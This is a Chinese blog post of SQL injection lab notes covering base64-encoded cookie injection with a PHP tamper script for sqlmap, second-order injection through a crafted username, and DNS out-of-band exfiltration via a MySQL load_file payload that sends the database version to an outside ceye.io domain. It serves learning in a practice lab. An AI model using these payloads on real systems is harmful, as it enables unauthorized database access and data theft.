暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

sql注入_mysql_day09

Dem0 2021-07-27
419

sqli的21关:关于加密的注入

        首先我们进入靶场 输入 admin admin  使用burpsuite进行抓包 可以看到返回的包 内 有cookie这一项



在这里选择base64加密 

将cookie的值换成 加密后的

此处爆出当前数据库

实战中就是 先将要注入的语句进行加密 然后在进行注入 !!!


这里举一个 例子 

比如 sh视频的地址

一看到== 就感觉像是base64加密 通过 burpsuite自带的软件进行解密

可以自己写一个php脚本 在本地端 

<?php

$url='';

$payload=base64_encode ($_GET['x']);

file_get_contents($url+$payload);


?>

然后通过sqlmap跑  


sql注入之:二次注入

在sql注入中 难免会遇到 addslashes函数 或者 get_magic_quotes_gpc过滤  会加上一些转义 但是在真正带入数据库进行查询的时候 还是原来的sql恶意语句 (不是带着转义字符的) 这总sql语句在开发者看来 就是安全的 过滤过得  在下一次进行查询的时候(其他任务)直接将这总恶意语句带入查询 形成二次sql注入

example:

比如我们在用户注册的时候 注册用户 admin' and 1=1  (注意:其中的and 1=1 可以换成任意 sql注入的恶意代码 形成一个类似定时炸弹的东西 ,)

得知数据库里面有一个用户名为a1的用户 

这里创建用户a1'#  进行登陆


更改密码

发现a1的密码被更改了 为啥呢?

这里打开网站源代码 

发现 原来用户是a1 注册的用户是a'# ,注册的时候没问题 因为:

 但是在更改密码的时候发现

注册的时候留下的定时炸弹 用户名a1'# 相当于用了 单引号进行闭合 '   然后 加上# 注释掉了后边的 代码  

那么这条update语句就变成了 更改 a1的,密码了  


关于 登陆的时候限制你输入的字符数量的 有两种方式 一种前端限制 可以通过 f12更改 input 标签里面的maxlength 属性进行绕过 如果是后端 没招 放弃吧!!!

更改!!

  dns注入:

原因就是: 盲注跑数据跑的太慢了 

把靶机的dns指定为我们的网站域名 通过 递归查询就可以获取数据库上面的信息了

首先 利用别人的服务器url为

http://ceye.io/

复制一下自己的  域名  手工注入的话 直接用这个

 在mysql下 指定格式

select load_file(concat("\\\\",(select version()),".ukgz0p.ceye.io\\aaa"));

在query就能查询到version


文章转载自Dem0,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

评论